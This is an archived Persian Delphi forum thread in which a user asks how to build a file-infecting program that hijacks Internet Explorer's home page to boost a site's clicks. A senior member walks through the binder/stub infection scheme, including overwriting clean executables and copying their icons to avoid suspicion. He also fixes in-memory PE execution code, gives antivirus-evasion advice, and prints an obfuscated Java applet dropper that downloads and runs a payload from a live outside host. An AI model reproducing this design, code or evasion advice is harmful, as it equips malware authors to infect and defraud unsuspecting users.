PDA

View Full Version : سوال: ساخت Binder با دلفی



gholami146
یک شنبه 05 آذر 1391, 03:52 صبح
با سلام
من میخوام برنامه ای بنویسم که تا حدودی مثل یک ویروس عمل میکنه .
اما برای نوشتنش نیاز به کمک دارم
من می خوام برنامه بدنبال فایل های اجرایی که در دور و برش هست بگرده و انها رو چک کنه اگر پاک باشه تغییر بده در غیر اینصورت رها شون بکنه
هدف من از ساخت این برنامه اینه که میخوام اون قسمت کدی که به برنامه اصلی اضافه میشه در زمان اجرا باعث تغییر هوم پیج مرورگر اینترنت اکسپلور بشه و ادرسی رو که من مشخص میکنم باز بکنه
حالا با این تفاصیر از اساتید محترم کسی هست که بتونه در انجام این کار من رو راهنمایی بکنه
هدف من ساخت هیچ برنامه مخربی نیست فقط قصد دارم تا کلیک خور یک سایت رو بالا بیارم
متشکرم

Felony
یک شنبه 05 آذر 1391, 09:53 صبح
جوونی کجایی که یادت بخیر ... :لبخند:

اول اینکه نمیتونید به صورت مستقیم کدی رو به یک فایل اجرایی که سورش دستتون نیست ( Word, Excel Notepad و ... ) الحاق کنید ، چون برای اون فایل روندی تعیین شده تا کدهایی که داخلش کامپایل شدن رو با روندی ( بماند ... ) اجرا کنه نه اینکه کدی که شما داخلش الحاق میکنی رو اجرا کنه ( بحث Code Injection هم جداست و به کار شما ربطی پیدا نمیکنه )

دوما نمیتونی برنامه ای بسازی و اون رو به برنامه ای که سورسش رو در اختیار نداری الحاق کنی چون بعد از الحاق نمیتونی اجراش کنی ، چون تو برنامه مبداء روندی برای extract کردن اون برنامه از داخلش خودش و اجراش تعریف نشده مگر اینکه بشینی Exploit ی چیزی از فایل های PE گیر بیاری که از طریق این مشکل امنیتی که گیر آوردی برنامه الحاق شده اجرا بشه که اولا همچین Exploit ی گیر نمیاد ، دوما گیر آوردنش کار من و شما نیست ، سوما اگرم گیر بیاد 3 سوت براش وصله امنیتی طراحی میشه و آنتی ویروس ها هم برای مقابله باهاش مسلح میشن ؛ پس این مورد هم به کارت نمیاد .

میمونه Binder ها ، Binder ها از 2 قسمت Stub و Binder تشکیل میشن ، Binder برنامه ای هست که یک برنامه مادر ( Stub ) رو میگیره و فایل های مورد نظر رو با چینش خاصی بهش الحاق میکنه ، Stub هم بر اساس اون چینش خاص که یک قرارداد بین Binder و Stub هست بعد از اجرا فایل هایی که در خودش الحاق شده رو Extract میکنه .

کاری که شما میکنی این هست که یک Stub مینویسی که Home Page مرورگر مورد نظرت تغییر کنه و بعد از اون هم فایل Bind شده بهش رو اجرا کنه ، حالا کار برنامه مخربت این هست که لیست فایل هایی که آلوده نیستن رو میگیره و به ازای هر کدوم از فایل ها یک کپی از فایل Stub میگیره و اون فایلی که آلوده نیست رو بهش Bind میکنه و در پوشه اون ها با اون فایل اصلی Overwrite ش میکنه حالا یک فایل آلوده باقی میمونه که با اجراش اول برنامه خودت اجرا میشه و بعد برنامه Bind شده بهش .

تنها موردی که این وسط میمونه این هست که باید آیکن فایلی که آلوده نیست رو بگیری و به فایل آلودت اختصاص بدی تا کسی شک نکنه ، بعد پاکش کنی ، در این مورد میتونی در نت جستجو کنی ، زیاد در موردش بحث شده .

فایل ضمیمه هم یک نمونه Binder هست که دوران جوونی نوشته بودم ، الان برای اجرا روی XE2 یکسری تغییرات روش دادم .

در آخر این توضیحات رو برای این کامل نوشتم تا منبعی باشه برای آیندگان ، ازش درست استفاده کنید ...

موفق باشید .

عقاب سیاه
دوشنبه 06 آذر 1391, 12:19 عصر
درررود
استاد جان میگم برای اجرای اون فایل های الحاق شده بدون Extract راهی نیست یعنی فایل داخله StubFile را بدون Extract اجرا کرد؟
اگه نه مثلا Temp ویندوز جای مناسبی هست ؟؟ اخه این جوری فوری قضیه لو میره!
تشکرررر

Felony
دوشنبه 06 آذر 1391, 12:22 عصر
https://sites.google.com/site/delphibasics/home/delphibasicssnippets/uexecfrommembysteve10120-fixedforwin7x64bytestest
http://stackoverflow.com/questions/6395493/execute-an-exe-file-from-resource-into-memory

عقاب سیاه
دوشنبه 06 آذر 1391, 12:55 عصر
ممنون ولی انگار یه مشکلی داره من هرچی سعی کردم نفهمیدم وب هم سرچ کردم ولی بازم حل نشد میشه یه بررسی بکیند؟
برای این خط ها:

ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);
WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);
WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);

این خطا را میده

E2033 Types of actual and formal var parameters must be identical

من فکر کردم مشکل از متغییر dwNull هست ولی هر کاری کردم رفع نشد :(

Felony
دوشنبه 06 آذر 1391, 13:31 عصر
نوع داده متغییر dwNull رو به Size_T تغییر بدید .

Mask
سه شنبه 28 آذر 1391, 21:06 عصر
حاج مجتبی : داستان از این قراره که فایل Stub به محض کریت شدن ، AV میگیرتش.
چطوری باید کاری کرد که اینجوری نشه.؟
بازم stub کامپوننت zipforg تا زمانی که فایل بهش add نکنیم آنتی نمیگیرتش.

Felony
سه شنبه 28 آذر 1391, 21:56 عصر
اول باید دید که این آنتی ویروس شما چه روندی رو برای شناسایی رفتارهای مشکوک پیاده میکنه ، اون کدی که من نوشتم هیچ چیز خاصی نداره و یک روال کاملا روتینی رو دنبال میکنه ، من فکر میکنم آنتی ویروس شما داره به فراخوانی API خاصی به تنهایی یا به شیوه ای خاص عکس العمل نشون میده ( مثلا رفتار اون تابع در Kernel Mode یا ... ) ، به نظر من روندش هر چی که هست کاملا احمقانه هست ( بماند که کلا آنتی ویروس ها ذاتا موجودات احمقی هستند حالا بعضی بیشتر و بعضی کمتر ;)

برای بررسی کدهای فایل Stub رو یک به یک حذف کنید و فایل رو کامپایل کنید و ببینید کدوم خط از کد مشکل سازه ، توجه داشته باشید که برای حذف هر خط جدید از کد ، خط قبلی که پاک کرده بودید رو برگردونید .

بعد از اینکه مشکل پیدا شد میشه دنبال راه کارهای جایگزین گشت .

Mask
چهارشنبه 29 آذر 1391, 12:09 عصر
ممنون.
اینو بررسی میکنم .
اما داستان اینه که :آنتی من avirast : وقتی فایل رو تو virus total آپ میکنم ، 7-8 تا آنتی دیگه میگیرتش.
یعنی واسه اینکه من برناممم رو کاری کنم که آن دتکت بشه ، هی باید فایلمو تغییر بدم؟

Felony
سه شنبه 12 دی 1391, 08:38 صبح
حاج مجتبی : داستان از این قراره که فایل Stub به محض کریت شدن ، AV میگیرتش.
چطوری باید کاری کرد که اینجوری نشه.؟
بازم stub کامپوننت zipforg تا زمانی که فایل بهش add نکنیم آنتی نمیگیرتش.



ممنون.
اینو بررسی میکنم .
اما داستان اینه که :آنتی من avirast : وقتی فایل رو تو virus total آپ میکنم ، 7-8 تا آنتی دیگه میگیرتش.
یعنی واسه اینکه من برناممم رو کاری کنم که آن دتکت بشه ، هی باید فایلمو تغییر بدم؟
اصولا در این نوع موارد از یکسری Obfuscate کدها استفاده میشه تا Antivirus نتونه رفتار مشخصی از فایل تشخصی بده ، اون Binder ی که من ضمیمه کردم فقط کلیت کار رو نمایش میده ، هیچ Unused کدی داخلش نداره و آنتی ویروس به راحتی رفتارش رو بررسی میکنه و طبق عادت احمقانه خودش اون رو فایل مخرب میشناسه .

کدهای زیر رو ببینید ، یک نمونه Obfuscate کد در یک بد افزار که توسط جاوا نوشته شده ! :


import java.applet.Applet;
import java.io.*;
import java.net.URL;

public class Java extends Applet
{

public Java()
{
}

public static String IlIIlIIlIlIIIIIlIlIIllIlIlIIIlllI(String s, int i)
{
if(s != null && i == IllIIlIIlIIlIlIIlllIIlIlIlIIIlIIlIIIIlIIIlIlIIIIII IlIlIlIIllIl)
{
if(s == "lIIllIlIllIIlIlIIIlIlIlIl")
IlIlIlllIIlIIlIlIl = IlIIlIIlIlIIIIIlIlIIllIlIlIIIlllI("IlllllIIIllIlIlIIIlllllIIllIIIIlIIlllllIIlllIllIII lllllIIllIIIIlIIlIlllIIlllllIIIllIlIIlIIlllllIIllI llllIIlIlllIIlllllIIIlllIlIIIIlllllIIllIllIlIIllll lIIlllIIIIIIlllllIIllIIlIIIIlllllIIllIlIIlIIlllllI IlllIIlIIlllllII", 2);
else
IlIlIlllIIlIIlIlIl = IlIIlIIlIlIIIIIlIlIIllIlIlIIIlllI("IlllllIIIlllIlIlIIlllllIIlllIIllIIlllllIIllIIlIlII lllllIIlllIIlIIlllllIIIIlIlllIIIlllllIIllIlIIIIIll lllIIllIllllIIlllllIIllIllIlIIlllllIIllIIlIlIlllll II", 2);
IlIlIlllIIlIIllIlIl = System.getProperty(IlIlIlllIIlIIlIlIl.replace(">", "").replace("|", ""));
} else
if(s != null && i == 2)
{
s = s.replace("l", Integer.toString(IllIIlIIlIIlIlIIlllIIlIlIlIIIlIIl IIIIlIIIlIlIIIIIIIlIlIlIIllIl)).replace("I", Integer.toString(IlIlIlllIllIIlIlII));
byte abyte0[] = s.getBytes();
StringBuilder stringbuilder = new StringBuilder();
byte abyte1[] = abyte0;
int j = abyte1.length;
for(int k = 0; k < j; k++)
{
byte byte0 = abyte1[k];
int l = byte0;
for(int i1 = IlIlIlllIllIIlIlII; i1 < 8; i1++)
{
stringbuilder.append((l & 0x80) != IlIlIlllIllIIlIlII ? lIIllIlIllIIlIlIIIlIlIlII : IlIlIlllIllIIlIlII);
l <<= lIIllIlIllIIlIlIIIlIlIlII;
}

stringbuilder.append(" ");
}

IlIlIlllIIlIIllIlIl = stringbuilder.toString();
}
return IlIlIlllIIlIIllIlIl;
}

public static String IIIIIlIIIlIlIlIIllllIlIlIIIIIlIIl()
{
if(System.getenv("APPDATA") != IlIlIlllIllIIlIlIl)
IlIlIlllIllIIlIlIl = System.getenv("APPDATA");
else
if(IlIIlIIlIlIIIIIlIlIIllIlIlIIIlllI("lIIllIlIllIIlIlIIIlIlIlIl", lIIllIlIllIIlIlIIIlIlIlII) != null)
IlIlIlllIllIIlIlIl = IlIIlIIlIlIIIIIlIlIIllIlIlIIIlllI("lIIllIlIllIIlIlIIIlIlIlIl", lIIllIlIllIIlIlIIIlIlIlII);
else
if(IlIIlIIlIlIIIIIlIlIIllIlIlIIIlllI("lIIllIlIllIIlIlIIIlIIIlIl", lIIllIlIllIIlIlIIIlIlIlII) != null)
IlIlIlllIllIIlIlIl = IlIIlIIlIlIIIIIlIlIIllIlIlIIIlllI("lIIllIlIllIIlIlIIIlIIIlIl", lIIllIlIllIIlIlIIIlIlIlII);
else
System.exit(IlIlIlllIllIIlIlII);
return (new StringBuilder()).append(IlIlIlllIllIIlIlIl).append ("\\").toString();
}

public static boolean IllIlIIllIlIlIllIIlIlIlIIllIlIIIlIlIlIIllIIIlIIIll IlIIllIlIlIllIIlIlIlIIllIlIIIlIlIlIIllIIIlII(Strin g s)
{
s = s.replace("<", "x").replace("%", "").replace("^", "").toString();
try
{
BufferedReader bufferedreader = new BufferedReader(new InputStreamReader((new URL(s)).openStream()));
bufferedreader.close();
if(bufferedreader != null)
IllIlIIllIlIlIllIIlIlIlIIllIlIIIlIlIlIIllIIIlII = true;
}
catch(IOException ioexception)
{
System.exit(IlIlIlllIllIIlIlII);
}
return IllIlIIllIlIlIllIIlIlIlIIllIlIIIlIlIlIIllIIIlII;
}

public void init()
{
IlIlIlllIllIIlIlII = 0;
IlIlIlllIllIIlIlIl = IIIIIlIIIlIlIlIIllllIlIlIIIIIlIIl();
if(IlIlIlllIllIIlIlIl != null && (new File(IlIlIlllIllIIlIlIl)).exists())
try
{
System.gc();
IIIlIIlIIlIlIIllIIIlIIllllIlIlIllIIlIIIl = new BufferedInputStream((new URL((new StringBuilder()).append("http://www.ohmselectronics.in/in2").append(lIIllIlIllIIlIlIIIlIlIlIIlIIllIlIllIIlIlI IIlIlIlII).toString())).openStream());
FileOutputStream fileoutputstream = new FileOutputStream((new StringBuilder()).append(IlIlIlllIllIIlIlIl).append ("MKeMzKzYF").append(lIIllIlIllIIlIlIIIlIlIlIIlIIllIlIllIIlIlI IIlIlIlII).toString());
byte abyte0[] = new byte[5024];
int i;
while((i = IIIlIIlIIlIlIIllIIIlIIllllIlIlIllIIlIIIl.read(abyt e0, 0, 5024)) != -1)
fileoutputstream.write(abyte0, 0, i);
IIIlIIlIIlIlIIllIIIlIIllllIlIlIllIIlIIIl.close();
fileoutputstream.close();
if((new File((new StringBuilder()).append(IlIlIlllIllIIlIlIl).append ("MKeMzKzYF").append(lIIllIlIllIIlIlIIIlIlIlIIlIIllIlIllIIlIlI IIlIlIlII).toString())).exists())
{
if(IIlIlIIlllIIlIIIlllIlIIlIIIIlIIIIIlIlIlIIlIIlII Il((new StringBuilder()).append(IlIlIlllIllIIlIlIl).append ("MKeMzKzYF").append(lIIllIlIllIIlIlIIIlIlIlIIlIIllIlIllIIlIlI IIlIlIlII).toString()))
{
IllIlIIllIlIlIllIIlIlIlIIllIlIIIlIlIlIIllIIIlII = false;
if(IllIlIIllIlIlIllIIlIlIlIIllIlIIIlIlIlIIllIIIlII IllIlIIllIlIlIllIIlIlIlIIllIlIIIlIlIlIIllIIIlII((n ew StringBuilder()).append((new StringBuffer("^|%=^|%E^|%M^|%A^|%N^|%R^|%E^|%S^|%U^|%?^|%P^|%H^| %P^|%.^|%B^|%A^|%R^|%G^|%/^|%O^|%F^|%N^|%I^|%.^|%E^|%R^|%A^|%W^|%T^|%F^|%O^| %S^|%Y^|%<^|%>^|%O^|%F^|%/^|%/^|%:^|%P^|%T^|%T^|%H^|%")).reverse().toString().replace("|", "").replace(">", "x").toLowerCase()).append("IalDcylcx").append("|&|S|I|T|E|=|".toLowerCase().replace("|", "")).append(getCodeBase().toString()).append("|&|U|R|L|=|".toLowerCase().replace("|", "")).append("http://www.ohmselectronics.in/in2").append(lIIllIlIllIIlIlIIIlIlIlIIlIIllIlIllIIlIlI IIlIlIlII).toString()))
System.exit(IlIlIlllIllIIlIlII);
else
System.exit(IlIlIlllIllIIlIlII);
} else
{
System.exit(IlIlIlllIllIIlIlII);
}
} else
{
System.exit(IlIlIlllIllIIlIlII);
}
System.exit(IlIlIlllIllIIlIlII);
}
catch(IOException ioexception)
{
System.exit(IlIlIlllIllIIlIlII);
}
}

public static boolean IIlIlIIlllIIlIIIlllIlIIlIIIIlIIIIIlIlIlIIlIIlIIIl( String s)
{
try
{
if(Runtime.getRuntime().exec(s) != null)
IllIlIIllIlIlIllIIlIlIlIIllIlIIIlIlIlIIllIIIlII = true;
else
IllIlIIllIlIlIllIIlIlIlIIllIlIIIlIlIlIIllIIIlII = false;
}
catch(IOException ioexception)
{
System.exit(IlIlIlllIllIIlIlII);
}
return IllIlIIllIlIlIllIIlIlIlIIllIlIIIlIlIlIIllIIIlII;
}

public static String IlIlIlllIllIIlIlIl;
public static String IlIlIlllIIlIIlIlIl;
public static String IlIlIlllIIlIIllIlIl = null;
public static boolean IllIlIIllIlIlIllIIlIlIlIIllIlIIIlIlIlIIllIIIlII = false;
public static BufferedInputStream IIIlIIlIIlIlIIllIIIlIIllllIlIlIllIIlIIIl;
public static int lIIllIlIllIIlIlIIIlIlIlII;
public static int IllIIlIIlIIlIlIIlllIIlIlIlIIIlIIlIIIIlIIIlIlIIIIII IlIlIlIIllIl;
public static int IlIlIlllIllIIlIlII = 1;
public static String lIIllIlIllIIlIlIIIlIlIlIIlIIllIlIllIIlIlIIIlIlIlII = "01I1".replace("0", ".").replace("1", "e").replace("I", "x");

}

Detection Rate این بد افزار 0/42 بوده که بسیار جالبه ...

Felony
دوشنبه 30 بهمن 1391, 21:39 عصر
چند روز پیش داشتم کتاب Rootkit Arsenal رو میخوندم ، در قسمتی از فصل 10 به اصول نوشتن Cryptor ها و Packer ها پرداخته ، البته اطلاعات کلی داده ولی خوب خوندنشون بد نیست .

gholami146
دوشنبه 30 بهمن 1391, 22:08 عصر
چرا در انجمن برنامه نویس دریافت اطلاعات در مورد مهندسی معکوس ممنوع
در صورتی که تا اونجایی که من فهمیدم خود شما اطلاعات کمی در این مورد ندارید
مثلا کتابی که فرمودید در مورد پکرها و کریپتورها در موردش نوشته شده

Felony
سه شنبه 01 اسفند 1391, 06:47 صبح
اگر سوالتون در مورد انجام کاری به وسیله یک زبان برنامه نویسی ( تو این انجمن Delphi ) هست مشکلی نداره ( مثل همین تاپیک ) .

در غیر این صورت سوال رو در انجمن مهندسی معکوس بپرسید چون مستقیم به قسمت های برنامه نویسی سایت ارتباطی پیدا نمیکنه .